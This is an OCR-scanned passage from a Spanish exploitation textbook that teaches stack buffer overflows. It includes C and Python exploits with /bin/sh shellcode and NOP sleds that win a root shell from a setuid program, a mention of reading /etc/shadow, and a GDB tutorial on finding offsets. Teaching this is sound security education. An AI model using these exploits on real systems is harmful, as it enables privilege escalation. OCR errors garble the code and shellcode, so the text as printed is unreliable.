volcar  el  contenido  del  archive  /etc /shadow,  cuya  lectura  no  esta  permitida  a  un  usuario  corriente  con 
permisos  limitados.  Hemos  comprometido  la  seguridad  del  si  sterna  y  ahora  tenemos  un  dominio 
completo  para  realizar  tod  a  clase  de  ae  clones  maliciosas  sobre  el  mismo:  agregar  nuevas  cuentas  de 
administrador,  poner  un  puerto  a  la  escucha  y  en  espera  de  conexiones  externas,  utilizar  dicho  sistema 
para  realizar  ataques  a  otras  maquinas,  penetrar  cn  otros  sistemas  perteneci elites  a  !a  misma  red,  o 
realizar  ataques  de  denegacion  de  servicio  a  equipos  exlemos.  Estas  ideas  no  constituyen  ni  el  uno  por 
ciento  de  las  peligrosas  maniobras  que  a  un  delincuenle  motivado  se  le  pasarfan  por  la  eabeza, 

A  continuation  responderemos  a  unas  cuantas  preguntas  que  se  ie  pueden  presentar  al  lector  en  forma 
de  dudas: 

iPor  que  difieren  el  valor  obtenido  con  el  pequeno  codigo  get_esp  y  el  valor  final  con  el  que 
exp  lo  tamos  el  programa? 

En  primer  lugar  porque  se  trata  de  prograinas  distintos,  la  utilidad  getjsp  no  reserva  ningun  buffer 
ni  se  le  proporciona  argumento  alguno,  recuerde  que  estos  se  almacenan  tambien  en  el  stack  y  por 
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tanto  el  tope  de  su  pila  particular  esiara  en  un  lugar  distinto.  Tal  vez  si  anadimos  la  sentencia  char 

nombre  [  32  j  antes  de  la  instruccion _ asm _ { )  la  direction  hubiese  estado  mas  eerca  de  ser  la  acertada. 

Qtro  modo  mas  sencillo  de  obtener  un  valor  aproximado  del  registro  ESP  es  irnprimir  la  direccion  de 
una  variable  declarada,  por  ejemplo: 

#in elude  <stdio.h> 

int  main(int  arge,  char  **argv) 

t 

char  var [32] ; 

printfT'ESP  =  %p\n'\  (void  *)var); 

} 


^Existe  alguna  forma  de  saber  la  direccion  exacta  del  buffer  nombre  f]  ? 

SL  varias.  Una  de  el  I  as  es  utilizar  el  depurador  GDB  incorporado  en  todos  los  sistema  GNU/Linux. 
GDB  es  de  gran  ayuda  en  el  analisis  de  vulnerabilidades  y  puede  mostrar  el  contenido  de  la  memoria 
en  cuaiquier  momento  de  ejecucidn  del  programs*  Se  trata  de  un  tema  que  cubriremos  en  las  prdximas 
secciones. 

iSiempre  hay  que  dor  con  la  direccion  exacta? 

Explicaremos  un  pequefto  truco  muy  conocido  en  el  mundo  del  exploiting.  Norma  Imente  los 
shellcodes  no  se  utilizan  solos,  sino  que  delante  de  ellos  se  suele  anadir  una  secueneia  de  bytes 
conoclda  como  colchon,  nop  code  o  instruceiones  NOP.  Estas  son  instruceiones  de  ensamblador  que 
no  hacen  nada,  simplemente  se  ejecutan  y  pasan  de  largo.  La  mas  conod  da  en  los  procesadores  de 
Intel  es  \x9'o. 

Si  introducimos  una  cadena  como:  \x90\x9Q\x90\x90\x9G  justo  antes  de  nuestro  shellcode  y 
logratnos  hacer  que  la  direccion  que  sobrescribe  EIP  caiga  dentro  de  este  relleno  de  MOPs,  estos  se 
iran  ejecutando  sin  haeer  nada  hasta  llegar  a  nuestra  shellcode.  El  truco  consiste  en  que  no  importa  en 
que  sitio  caiga  dentro  de  los  NOPs,  una  vez  alcanzados,  la  execution  se  ira  desplazando  hasta  nuestro 
shellcode.  Cuantas  mas  instruceiones  NOP  intro  duzcamos,  mas  cantidad  de  direcciones  seran  validas 
para  lograr  una  explotaeibn  exitosa. 

En  nuestro  ejemplo  el  problema  era  obvio,  y  es  que  como  el  buffer  es  demasiado  pequeho,  solo  32 
bytes  de  capacidad,  no  tenemos  mucho  espacio  para  introducir  NOPs.  Una  variedad  de  tecnicas 
disponibles  para  sortear  esta  clase  de  dificultades  seran  detaliadas  a  lo  largo  de  este  libra. 


1.6.  Su  primer  exploit 

Lo  que  hemos  demostrado  hasta  ahora  son  los  motives  que  hacen  que  una  aplicacion  sea  vulnerable, 
y  para  aproveehamos  de  este  fallo  de  seguridad  hemos  utilizado  tan  solo  la  Unea  de  comandos.  Sin 
embargo,  usted  tendra  que  disenar  una  pieza  de  codigo  que  explote  dicho  error  y  que  pueda  portar  a 
otros  sistemas  obteniendo  identicos  resultados.  Es  a  ese  particular  codigo  al  que  Uamamos  exploit,  un 
programa  disenado  para  atacar  una  vulnerabilidad  y  escalar  privilegios,  provocar  una  denegation  de 
servicio  o  inducir  cuaiquier  clase  de  comportamiento  anomalo  que  la  aplicacion  original  no  estaba 
preparada  para  asimilar.  A  continuation  echaremos  un  breve  vistazo  al  clasico  exploit  que  se 
aprovecha  de  un  desbordamiento  de  pila  para  ejecutar  codigo  arbitrario. 
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#include  <stdio  *h> 

# include  <string.h> 

# include  <stdlib,h> 

# include  <unistd.h> 

# define  BUFF_SIZE  160 
#define  FROG  Tl  */vulnM 

char  she  11  code  []  -  "\xeb\xlf\Xj5e\x8  9\x76\x08\x3l\xcO\x-88\x4  6"  \ 
,T  \  x07\x8  9\x4  6\x0c\xb0  \xQb\xB  9\xf  3\x8d\x4eT'  \ 
,r  \xQ8\x8d\x5  6\x0c\xcd\xS0\x3  l\xdb\x£  9\xd8"  \ 
"\x40\xcd\x80\xG8\xdc\xf  f  \xf  f  \xf  f  /bin/shf' ; 
unsigned  long  get  esp() 

{ 

__asm _ {" movl  %esp,  %eax"); 

} 

int  main (int  argc,  char  * *argv) 

{ 

char  ^exploit,  *p; 
long  addr,  *ptr; 
int  size  -  BUFF_SIZE; 
int  offset  =  0; 
int  i; 

addr  —  get  esp  [}  ; 
if  (  argc  >  1  ) 

offset  —  atoi ( argv [ 1 J ) ; 
if  (  argc  >  2  } 

size  =»  atoi (argv [2 ] ) ; 
if  (  argc  >  3  ) 

addr  -  strtoul (argv [3] ,  HULL,  0) ; 
addr  -=  offset; 

printf  {'T\nUsando  direccion;  %p\n",  (void  *)addr); 
exploit  =  (char  +  ) malloc (si ze  *  sizeof  fchar) )  ; 
pt.r  =  (long  *) exploit; 
for  (  i  =  0;  i  <  size;  i  +-  4  ) 

* (ptr++)  —  addr; 

for  {  i  =  0  ;  i<  size  /  2;  i+4-  ) 
exploit [i]  =  1 \x9Q  1  ; 
p  -  exploit  t  (size  /  2); 

for  (  i  =  0;  i  <  strlen ( shellcode) ;  i++  ) 

*  (p++)  =  shellcode [i] ; 
execlfPROG,  PROG,  exploit,  NULL); 
return  0; 

} 


La  construccion  de  este  exploit  es  simple.  Se  reserva  un  buffer  mediants  mai  loc  0  y  se  rellena  eon  la 
direccion  aproximada  de  la  eima  de  la  pi  la  o  ESP.  Luego  la  mitad  de  dicho  buffer  se  eompleta  con 
instrucciones  NOP  y  juste  d  esp  lies  se  situ  a  el  shellcode  elegido  para  la  ocasion.  El  tamano  de  to  do  el 
payload  tiene  un  valor  de  160  bytes  por  defecto,  pero  el  usuario  puede  especificar  otro  valor  como 
segundo  argumento.  No  obstante,  el  parametro  mas  imporlanle  es  el  primero,  a  traves  de!  mismo 
podemos  especificar  un  desplazamiento  u  offset  que  sera  substraido  de  la  variable  addr  (nuestra 
direccion  de  relomo  hacia  el  colchdn  de  NOPs),  de  mo  do  que  el  atacante  pueda  ir  ajusfando  el  valor 
hasla  caer  dentro  del  payload.  El  ultimo  argumento  le  permite  especificar  matiualmente  su  propia 
direccion  de  retorno  en  caso  de  que  ei  valor  devuelto  por  la  funcion  get_esp  ( )  no  sea  el  adecuado. 
Veamos  c6mo  actua  este  programa: 
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blackngel@bbc : gcc  -fno-stack-proteetor  —z  execstack  vuln.c  -o  vuln 

blackngelUbbc: sudo  chown  root : root  ./vuln 

folackngeldbbc: sudo  chmod  +s  ./vuln 

blackngellbbc: gcc  exploit. c  -o  exploit 

blackngeldbbc: ./exploit  230 

Usando  direcoidn:  Qxbffff262 

#  who ami 
root 

#  exit 

blackngel @bbc : -  $ 


El  lenguaje  que  usted  elija  para  disenar  sus  exploits  no  tiene  importancia  alguna  mientras  sepa  lo  que 
esta  hacienda.  Hay  personas  que  son  fans  incondicionales  de  Perl,  otros  se  adaptan  a  la  sintaxis  de 
Ruby  por  que  les  permite  portar  sus  exploits  mas  facibnente  a  la  plataforma  Metasploit.  Sea  como 
fuere,  estd  on  su  justo  derecho  de  usar  el  lenguaje  que  rnejor  se  adapte  a  sus  necesidades  o  experiencia. 
Yeamos  un  ejemplo  mas  del  mismo  exploit  esta  vez  escrito  en  Python. 

from  struct  import  * 
from  subprocess  import  * 

shellcode  -  rr\xeb\xl8\x5e\x3l\xc0\x88\x46\x0711  \ 

\  x8 9\x7 6\x08 \  x8 9\x4 6\x0c\xb0 \x0b,T  \ 
n \x8d\xle\x8d\x4e\x08\x8d\x5  6\x0c,T  \ 
f'\xcd\x8  0\xe8\xe3\xf  f  \x£f  \xff  \x2f ,T  \ 

M \x62 \x69\x  6eAx2f \x7  3\x68 " 
nops  =  "Vx90n  *  102 
ret  add  r  =  packr'<L",  0xbffff2'7Q)  ; 
payload  =  nops  +  shellcode  +  retaddr 
call  (  \J' ,  /vuln  ",  payload]) 


El  resultado,  obviamente,  sera  el  mismo  que  en  el  ejemplo  anterior. 

blackngel^bbc: -S  python  exploit. py 

#  who  ami 
root 

#  exit 

blackngeldbbc ; 


Obtenemos  nuevamente  el  control  del  sistema. 


1.7.  GDB:  El  debugger  de  Linux 

La  metodologia  de  exploiting  que  hemos  utilizado  hasta  ahora.  ha  sido  un  trabajo  de  artesania  manual 
orientado  hack  el  aprendizaje  de  los  prineipios  que  subyacen  a  toda  esta  clase  de  vulnerabilidades. 
Ahora  estudiaremos  las  herramientas  de  que  disponemos  para  aumentar  la  efecti  vidad  de  nuestros 
exploits.  Veremos  tambien  como  averiguar  parametros  con  el  minima  esfuerzo  y  otros  aspeetos 
relativos  a  la  programadon  segura. 

Comenzaremos  con  el  debugger  de  Linux.  GDB,  desarrollado  por  Richard  Stallman,  c  read  or  de  la 
Free  Software  Foundation,  es  conocido  como  un  depurador  a  nivel  de  cddigo  fiiente.  Sus  fun  clones 
principals  son  las  de  desensamblar  un  ej ecutable  compilado  en  Linux,  esto  es,  traducir  el  lenguaje 
maquina  del  binario  en  un  lenguaje  comprensible  por  el  usuario  como  lo  es  el  lenguaje  ensamblador. 
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y  la  de  ofrecer  un  motor  de  depuracion,  que  significa  la  posibilidad  de  ejecutar  un  programa  paso  a 
paso,  instruction  a  instruction,  con  la  cap  acid  ad  de  com  probar  a  cada  momenta  el  estado  real  del 
mismo:  el  valor  de  los  registros,  el  conienido  dc  la  mem  or  i  a,  etc,,* 

GDB  tambien  es  capaz  de  mostrar  el  codigo  fuente  original  de  un  ejecutable.  Para  ello  el  mismo  debe 
haber  sido  compilado  antes  en  GCC  con  la  option  -g,  que  mantiene  todos  los  simbolos  e  information 
de  depuracion  en  el  programa  con  el  fin  de  hacer  mucho  mas  sencillo  el  seguimiento  de  las 
instruct  iones*  Como  supondra,  esto  es  una  gran  ventaja  para  el  program  ado  r  de  turno  que  busca  fa  I  los 
o  aspectos  a  mejorar  en  sus  programas,  pero  para  un  exploiter  que  normal mente  se  encuentra  en  un 
entomo  hostile  esta  informacion  de  depuracion  habra  sido  eliminada  y  deberd  poseer  ciertos 
conocimientos  de  ensamblador  si  desea  seguir  el  curso  dc  la  aplicacidn,  lo  que  comunmente  se  conoce 
conio  ingenieria  inversa. 

GDB  es  un  programa  que  trabaja  en  linea  de  comandos,  ofreciendo  a  su  vez  una  inter faz  dc  ordenes 
que  el  usuario  debc  introducir  para  que  este  real  ice  sus  tareas.  Estas  ordenes  son  relativamente  senclllas 
de  asimilar,  y  una  vez  habit  uado  a  el  las,  cualquiera  puede  desenvol  verse  de  modo  eficaz  con  el  entomo. 

Para  los  amantes  de  las  interfaces  graft cas  de  usuario  (GUIs),  a  lo  largo  del  tiempo  han  sido 
desarrollados  di  versos  front-ends  especial  mente  cui  dados  para  este  depurador*  Entre  los  mas  famosos 
se  encuentra  DDD,  completamente  basado  en  ventanas  y  menus,  que  aumenta  sobremanera  las 
capacidades  nonnales  de  GDB  agregando  elementos  tales  como  esquemas  graficos  de  las  estructuras 
v  variables  en  memoria,  o  incluso  el  seguimiento  de  listas  enlazadas  que  le  permitiran  desplazarse  de 
un  nodo  a  otro  a  golpe  de  click.  Puede  ver  un  ejcmplo  dc  DDD  en  la  siguiente  i  lustration. 


Itrtagcn  01.03:  Interfax  de  depuracion  DDD, 
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Sus  cualidades  son  mnumerables.  Algunas  de  ellas  pasan  por  e stable cer  un  punto  de  ruptura  haciendo 
doble  click  a  la  izquierda  de  cualquier  linea  de  codigo.  Adem&s,  si  usted  situa  el  cursor  de!  raton 
encima  del  nombre  de  ana  variable,  im  pequeno  recuadro  le  mostrara  su  valor  actual  en  el  momenta 
de  producirse  la  interrupcion, 

Para  quienes  precisen  una  solucidn  intermedia,  el  mejor  consejo  que  podemos  ofrecerles  es  utilizar 
CGDB,  una  implementacion  grafica  de  CDB  basada  en  la  libreria  ncurses,  lo  dial  significa  que  todavia 
se  ejecuta  dentro  de  una  shell  pero  ofreciendo  a  carnbio  capacidades  de  interactuacion  extendi  das  asi 
como  el  desplazam  lento  por  las  lineas  de  codigo  mediante  el  teclado,  el  estableeimiento  de  puntos  de 
ruptura  con  solo  una  pulsacion  y  otras  muchas  facilidades.  La  siguiente  ilustracion  muestra  el  aspecto 
del  entomo  CGDB* 


Imagen  01.09:  Jntcrfaz  dc  dcpuracion  CGDB 


GDB  por  si  mismo  ha  tornado  buena  conciencia  de  todas  estas  ventajas  y  ha  implementado  un  nuevo 
modo  llamado  TUI  (Terminal  User  Interface).  Para  acceder  a  este  entomo  no  precisa  mas  que  utilizar 
el  argumento  de  ope  ion  -tui  en  ia  linea  de  comandos  y  comprobara  que  el  aspccto  obtenido  es  muy 
similar  al  de  CGDB,  con  la  panlalla  dividida  en  dos  mitades,  una  para  el  listado  de  codigo  fuente  y 
otra  para  la  prop i a  consola. 

Pre  sen  tamos  estas  herramientas  suplementarias  con  el  unico  objetivo  de  ofrecer  al  lector  un 
conocimiento  general  de  los  productos  que  se  hallan  a  su  disposicion  de  un  modo  gratuito.  Durante  el 
transcurso  de  este  libro  utilizaremos  la  aplicacion  GDB  original  ya  que  esta  se  encuentra  instalada  por 
defecto  en  todas  las  distribuciones  Linux  y  puede  constituir  una  herramienta  comiin  con  otros  entomos 
de  trabajo  como  por  ejemplo  Mac  OS  X. 
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GDB.  sin  opciones,  no  precisaotro  argumento  mas  que  el  binario  que  se  desea  analizar,  opcionalmente 
tambien  se  le  puede  proporcionar  un  archivo  core  (volcado  de  memoria)  generado  por  el  propio 
si  sterna  cuando  on  pro  grama  ha  sufrido  un  error  grave.  Si  esto  ultimo  oeurre,  el  si  sterna  operativo 
guarda  una  imagen  exacta  del  estado  actual  en  que  el  ejecutable  romp i 6  para  su  ulterior  analisis post¬ 
mortem. 


TV  ota 


El  comando  ulimit  -a  permite  ver  los  I  unites  establecidos  para  los  rccursos  basicos  que 
un  usuario  tiene  perm i tide  durante  la  sesion  actual.  Med i ante  la  orden  ulimit  -c 
unlimited  se  deshabi  lita  cualquier  limite  establecido  anteriormente  para  los  volcados  de 
memoria  o  archives  core , 


Veamos  un  resunien  de  los  comandos  basicos  que  gestionan  el  rnodo  de  operacidn  esencial  de  GDB: 


list  funcion: 

Muestra  el  cod i  go  fuente  de  la  funcion  especificada  como  argumento. 

disassemble  funcion 
disass  funcion 

Muestra  el  codigo  ensamblador  de  la  June  ion  especificada  como 
argumento. 

break  direccion 
break  linea 

Establece  un  punto  de  ruptura  o  breakpoint  en  una  direccion  de  memoria 
o  linea  especificada  como  argumento. 

t-break  direction 

Configura  un  breakpoint  temporal  que  sera  eliminado  una  %ez  que  el 
punto  establecido  sea  alcanzado  por  primera  vez. 

delete  num 
del  num 

Elimina  un  breakpoint  indicando  el  numero  segun  el  orden  en  que  han 
si  do  establecidos.  Si  no  sc  le  proporciona  un  numero,  GDB  le  preguntara 
si  desea  elirtiinar  todos  los  pantos  de  ruptura  defmidos  hasta  el  momenta. 

run  [ argumento s ] 

Comienza  la  ejecucion  del  programa  desde  el  prineipio  eon  los 
parametros  pro  pore  ion  ad  os  como  argumento. 

Start 

Un  comando  realmente  util.  Analogo  a  run,  solo  que  establece  un  punto 
de  ruptura  al  prineipio  de  la  funcion  main  o  de  modo  que  el  programa  se 
detiene  justo  antes  de  comenzar  pero  una  vez  que  el  proceso  ya  ha  sido 
cargado  en  la  memoria  y  todos  los  segmemos  se  encuentran  disponibles 
para  el  analisis. 

cont 

c 

Continua  la  ejecucion  del  programa  si  este  ha  sido  detenido  debido  a  un 
breakpoint  establecido  por  el  usuario,  una  sehal  produeida  por  el  sistema, 
o  por  cualquier  otra  razon. 

bt  (backtrace) 

Muestra  un  rastreo  de  la  pi  la,  un  listado  secuencial  y  ordenado  de  las 
funciones  que  han  sido  ejecutadas  hasta  el  memento  de  la  detention 
actual  del  programa.  Muy  valioso  para  conocer  el  encadenamiento  de 
funciones  que  ha  podido  conducir  al  fallo  de  una  aplicacion. 
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f  rame  num 

Muestra  e!  marco  de  pi  la  {stack  frame)  de  la  funcion  indicada  en  num.  Un 

0  es  asignado  para  la  funcion  que  se  esta  ejecutando  actualmente,  1  para 
la  funcion  padre  o  anterior,  y  asf  sucesivamente  en  una  estnictura 
jerarquica. 

info  registers 
i  r 

Muestra  el  valor  dc  todos  Ios  registros  del  procesador. 

print  expr 

Muestra  cl  valor  de  una  expresion*  La  expresion  minima  es  una  variable 

o  una  position  especlfica  de  la  mem  on  a. 

watch  expr 

Si  expr  es  una  variable,  GDB  se  dentendra  en  cualquier  punto  del 
programa  en  que  esta  cambic  su  valor.  Si  es  una  condi cion,  la  ruptura  se 
producira  en  caso  de  ser  verdadera. 

next 

Ejecuta  una  sola  instruction  del  programa*  Caso  de  ser  un  cal  l  GDB  no 
entra  dentro  de  la  funcion  llamada  y  continua  la  ejecucion  en  la  linea  que 
prosigue  a  la  misma. 

step 

Lo  mismo  que  e!  anterior  comando,  pero  en  este  caso  step  si  que  entra 

dentro  dc  una  funcion  si  esta  es  liamada,  de  modo  que  e!  usuario  pued a 
investi  gar  que  es  lo  que  ocurre  cn  el  la. 

iump  line a 

Salta  y  continua  la  ejecucion  en  una  linea  o  direccion  concrete  del 
programa  espeeifieada  como  argument o. 

set  disassembly- 
flavor  intel/att 

Pennite  deflnir  la  sintaxis  deseada  para  los  desensamblados,  por  defecto 
es  AT&T. 

set  follow-fork¬ 
mode  parent/ child 

Permit  e  definir  el  procedimiento  a  seguir  cuando  un  proceso  invoca  a 
fork()  o  vf ork  { ) ,  el  modo  parent  continuara  depurando  al  proceso 
padre,  esta  es  la  opcion  por  defecto*  Si  se  establece  a  child,  GDB  seguira 
el  flujo  del  nuevo  proceso  bijo  oread o. 

help  [item] 

Muestra  informacion  adicional  sobre  un  comando  concrete. 

quit 

Sale  de  GDB. 

Es  muy  important^  sefialar  que,  si  despues  de  la  ejecucion  de  un  comando  cualquiera,  mientras  GDB 
esta  esperando  otra  or  den,  presionamos  la  tecla  enter,  GDB  repetiri  y  ejecutara  el  comando  anterior 
sin  necesidad  dc  reescribirlo,  Este  comport amien to  resulta  muy  util  con  las  ordenes  next  y  step* 
Tambten  vimos  que  algunas  ordenes  presentan  abreviaturas,  siendo  la  mas  corta  aquella  combi nacion 
de  earacteres  que  no  tenga  otra  fund  on  asignada. 

Recordemos  el  programa  vulnerable  de  las  secciones  anteriores,  Si  deseamos  cargarlo  en  GDB*  desde 
la  linea  de  coman dos  no  tenemos  mas  que  hacer  lo  siguiente:  $gdb  *  /proq.  Luego  GDB  nos  mostrara 
una  breve  resefta  con  la  version  que  tenemos  instalada  en  el  sistema  (a  no  ser  que  omitamos  la  misma 
con  la  opcion  -q),  y  en  pantalla  se  mostrara  un  prompt  como;  (gdb) .  Esto  nos  indica  que  GDB  esta 
preparado  y  dispuesto  para  recibir  comandos. 
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Como  ya  dijimos.  el  comando  run  nos  permite  ejecutar  el  programa.  Si  escribimos  la  orden  run 
hacker,  el  programa  correra  normalmenle  y  acabara  por  mostramos  el  mensaje:  Bienvenido  a  Linux 
Exploiting  hacker.  Lo  que  a  uti  atacante  le  resulta  mas  seduetor,  es  observar  la  salida  producida  por 
GDB  si  introducimos  una  entrada  de  datos  maliciosa: 

O  v  t  black ngelc&bbc:  - 

blackng£%f bbc:~$  gdb  -q  ./prog 

Leyendp  simbolos  rf&sde  /hone/blackngel/p&bg, .  *  (no  se  encontraron  slmbolos  de  depu 
racldn  jJhecho . 

(gdb)  run  ■ perl  ■  e  4 prXn t  "A"x4S 1 ‘ 

Starting  prog  ran:  /  hoS^p^ckfigel/prOq  perl  -e  print  ,,A,,x4S1 

8lenvenidO  a  Clnux  Exploiting  AAAAMAAAAAAAAAAM&AAAAAAAAAAAMAAAAAAAAAAAAAAA 


Prog ran  received  signal  SIGSECV,  segmentation  fault. 

9x41414141  in  71  0  I 

(gdb)  | _ _ j 

Imagen  01.10:  Analisis  de  una  violation  de  segmento. 

Esto  ya  nos  proporciona  mucha  mas  mformacion.  Por  un  lado,  GDB  nos  informa  que  el  programa  ha 
sufrido  un  error  grave,  en  eoncreto  se  trata  de  ima  violacion  de  segraento.  Por  otro  lado  nos  indica 
ddnde  se  ha  producido  el  error,  y  vemos  que  ha  sido  exactamente  cuando  se  ha  intentado  ejecntar  una 
instruccion  en  la  direccibn  Qx4i4i4i4i?la  dial  resulta  ser  la  traduce  ion  a  hexadecimal  de  los  caracteres 
aaaa.  /fQue  quiere  decir  esto?  Pues  qne  hemos  sobrescrito  la  direecion  de  retomo  de  la  fund  on  f  unc  { ) 
con  los  valores  hexadecimales  de  nuestra  cadena  de  entrada,  y  que  cuando  esta  intentaba  regresar  a 
main  O  en  real i dad  ha  accedido  a  una  direccibn  que  no  se  encontraba  mapeada  en  la  memoria  del 
proceso,  de  ahi  el  error. 

Uno  de  los  dates  que  necesitamos  para  una  explotacion  exitosa  del  programa  vulnerable  es  la  cantidad 
de  relleno  que  debemos  anadir  antes  de  sobrescribir  el  valor  EIP  guardado.  Si  usted  piensa  un  poco 
vera  que  puede  introducir  una  cadena  como  aaaabbbbcccgddddeeee  y,  observando  en  que  direccion 
rompe  el  programa,  sabra  el  desplazam lento  adecuado.  Probemos  y  veamos  el  resultado  en  la  imagen. 

O ?'*•  ^  btackngelpbbc  ~ 

(gdb)  run  AAMBBB^CCCCDDDDEEEEFFFFCGGGHf#IIII3^3t£Kk:KLLLLttMHNNNNOQOOPPPQ0Q0 
The  program  being  debugged  has  been  starred  already. 

Start  It  from  the  beginning?  (y  o  n)  y  / 

istar  ting’;  prog  ram:  /hQme/Hackngel/prDg  AAAABBBBCCCdbDDDEEEEFf FFGGGGHHHHI11IJJJ3KK 
|KKLLLLIW«WgOOOPPPQQ<^fi^^^^ 

Bienvenido  3  Linux  Exploiting  AAAABBBBCCCCDDOUEEEEFFf FGGGGHHHHIIII JJZOKKKKLLLLIWI 
NNNNOUOOPPPQQQQ 


Program  received  signal  STGS6GV ,  Segmentation  fault. 

Bx4c4c4c4c  in  ??  O  | 

(gdb)  | _ I 

Imagen  01.11:  Caiculo  de  dcsplaxamienlos  u  onsets, 

GDB  nos  informa  de  que  la  direccion  que  provoca  el  fallo  de  segmentacibn  es  0x4c4c4c4c,  Si 
traducimos  esos  valores  a  codigo  ASCII  obtenemos  la  cadena  llll.  Sabemos  que  k  es  la  undecima 
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Letra  del  alfabeto,  multiplicado  por  4  tenemos  Lin  relleno  de  44  antes  de  sobrescribir  Ja  direction  de 
re  tamo. 

Cabe  mencionar  que  el  framework  de  exploiting  Metasploit  utiliza  esta  tecnica  de  ealculo  de  offsets 
con  dos  pequenos  pro  gramas  (patte  rn_c  reate  .  rb  y  patte rn_off set  .rb):  el  primero  genera  an 
patron  de  letras  linico  e  irrepetible,  el  segundo  indica  el  offset  exacto  a  partir  de  los  cuatro  caracteres 
que  se  le  indiquen  como  argumento,  obtenidos  mediante  GDB  u  otro  depurador  He  aqui  un  breve 
ejemplo  de  la  salida  del  primer  script:  _ _ 

blackngel@bbc : -$  locate  patte recreate 
/opt/metasploit/apps/pro/insf3/toals/pattern_create , rb 

blackngelSbbc: ~$  /opt/metasploit/apps/pro/msf 3 /tools /patte rncreate . rb  128 
Aa0AalAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0AblAb2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcQAclAc2Ac3Ac4Ac5Ac6Ac7 
Ac8Ac9Ad0AdlAd2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0AeIAe  


A  continuation  dedicaremos  nuestros  esfuerzos  a  conocer  la  direccion  en  la  que  comienza  el  buffer 
declarado  dentro  de  la  funcion  func  () .  Para  ello  lo  mejor  que  podemos  hacer  es  ejecutar  el  programa 
nuevamente,  ordenando  a  GDB  que  se  detenga  justo  euando  este  dentro  de  dicha  funcion,  de  mode 
que  podamos  examinar  el  eontenido  del  stack. 

La  orden  break  se  encarga  de  detener  el  programa  en  un  punto  deseado.  Tan  sencillo  como  esto: 

(gdb)  break  func 
Breakpoint  1  at  Ox8Q483aa  


Ahora  podemos  ver  el  codigo  que  compone  func  ( )  con  la  orden  disass: 

(gdb)  disass  func 

Dump  of  assembler  code  for  function  func: 


0x0804  B  3a4 

<func+0> : 

push 

%ebp 

0x0804  8  3a5 

<func+l> : 

mov 

%esp, %ebp 

0x0804  8  3a7 

<func+3> ; 

sub 

$0x3  8  f %esp 

0x0  8  0  4  8  3aa 

<func+6> : 

mov 

0x8 (%ebp) , %eax 

0x08048 3 ad 

<func+9>: 

mov 

%eax, 0x4  (%esp) 

0x08  04  83bl 

<func+13> : 

lea 

- 0  x2  8 ( % ebp ) , %  eax 

Qx080483b4 

<func+l 6> : 

mov 

leax, (%esp) 

0x080483b7 

<func+ 19> : 

call 

0x8Q482dc  <strcpy@plt> 

0x0804  8  3bc 

<f unc+2 4> : 

lea 

-0x2  8 (%ebp) ,  %eax 

0x0804  8  3bf 

<f unc+2  7> : 

mov 

%eax, 0x4 (%esp) 

0x0804 8 3c3 

<func+31>: 

movl 

$0x80484c4jr  (%esp) 

0x080483ca 

<func+38>: 

call 

0x80482ec  <printf@plt> 

0x0  8  0  4  83cf 

<func+43> : 

leave 

0x080 483 dO 

<f unc+44> : 

ret 

End  of  assembler  dump 

En  el  Hstado  pueden  verse  dos  llamadas  call  a  las  funciones  strcpy  o  y  printf  u  9  exactamente  las 
que  llamabamos  en  el  codigo  fuente  original. 

Resulta  curioso  observar  como  la  direccion  en  que  GDB  dijo  que  se  detendna  fue  0xGS04  83aa  que  es 
la  cuarta  instruction  de  func  u  y  no  la  primera  como  cabria  esperar.  Esto  se  produce  porque  GDB 
sabe  que  eada  funcion  en  un  binario  esta  compuesta  por  un  prologo  (las  3  primeras  instrucciones),  un 
cuerpo  de  funcion,  y  un  epilogo  (2  ultimas  instrucciones). 
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La  mision  del  prologo  de  funcion  cs  establecer  el  marco  de  pi  la  actual  para  die  ha  funcion,  lo  dial  se 
produce  igualando  el  puntero  superior  de  pila  ESP  eon  el  puntero  base  EBP,  y  restando  luego  la 
cantidad  de  bytes  necesarios  a  ESP  para  contener  las  variables  declaradas  dentro  de  la  funcion. 

Sabemos  que  func  0  solo  reserva  32  bytes  para  el  buffer  nombre  [] .  32  en  hexadecimal  es  0x2.0,  por 
el  contrario,  vemos  que  la  cantidad  restada  a  ESP  es  0x38  que  en  decimal  es  56,  espacio  de  sobra, 
^para  que?  Todo  depende  de  las  opciones  y  version  del  compilador  ejecutado,  lo  que  debe  quedar  claro 
es  que  la  cantidad  de  relleno  para  sobrescribir  una  direccion  de  retomo  guardada  puede  ser  variable. 

Volviendo  al  hilo,  ya  explicamos  que  ESP  apunta  a  la  cima  de  la  pila,  que  es  normalmente  el  comienzo 
o  esta  cere  a  de  nuestra  unica  variable  o  buffer  declarado.  En  la  siguiente  ilustracion  puede  observar 
como  consultamos  el  contenido  de  la  memoria  en  esa  direccion  antes  y  despues  de  la  llamada  a 

strepy ( ) . 


O  blackngel<g>bbe:  - 

(gdb)  break  func 

Punto  de  inter rupcV6n  l  at  ex804844a 
(gdb)  break  *func+24 
Pun to  de  laterrupciort at  8x894845c 
(gdb)  run  perl  e  print  'A ''*48'' 

Starting  program:  /hone/fctackng&l/prog 

Breakpoint  1^  0x06848443  In  func  () 

(gdb)  x/16x  $esp 

0xbffff2d0:  0xbffff539  0xepG8b02f 

0xbffff2e0:  0x8&0484b0  8x0S049ff4 

exbfffT2f6:  dxb7fclw$  ©X6000000a 

Bxbf f f f 300:  ©xffffffff  0xb7e5119fi 

(gdb)  c 
Continuando . 

Breakpoint  2,  exG804B45c  in  funt  {) 

(gdb)  X/16X  Srtp 
bxbffffatie:  Gxbffffle© 

0xbffff:2e0:  0X4 $4 141 41 

5ff Ff 2f0 :  0X41414141 

.  if rr f 309 :  ex 4 ini 4 i4i 

(gdb)  1  . . 


perl  -e-  print  'rA''x48' 


0xbf ff f 32c 
0X00009082 
0x0B949f f 4 
Oxbf ff f 328 


0xbffffi4e 
9X41414141 
9x41414141 
W4r4l4T4Tt 


&xbffFf3'£c 
0X414X4141 
0x41^  14141 
0x41^14141 


9xb7fc2f f 4 
0X08O4831d 
0X080 4 84 dl 
0x08948491 


Stxb7fa?f4 

3x41414141 

0X41414141 

ex4T474l41 


Imagen  0  L 12:  Volcado  de  memoria  o  dump. 


Memos  cstablecido  dos  puntos  de  ruptura,  uno  al  principio  de  funco  de  tnodo  que  el  programa  se 
detenga  a  la  entrada  de  la  funcion  y  otro  despues  de  la  llamada  a  strepy  ( )  (func+24).  Luego  hemos 
ejecutado  el  programa  con  los  parametros  adecuados  gracias  a  la  orden  run  y  el  programa  se  ha 
detenido  tal  y  como  esperabamos. 


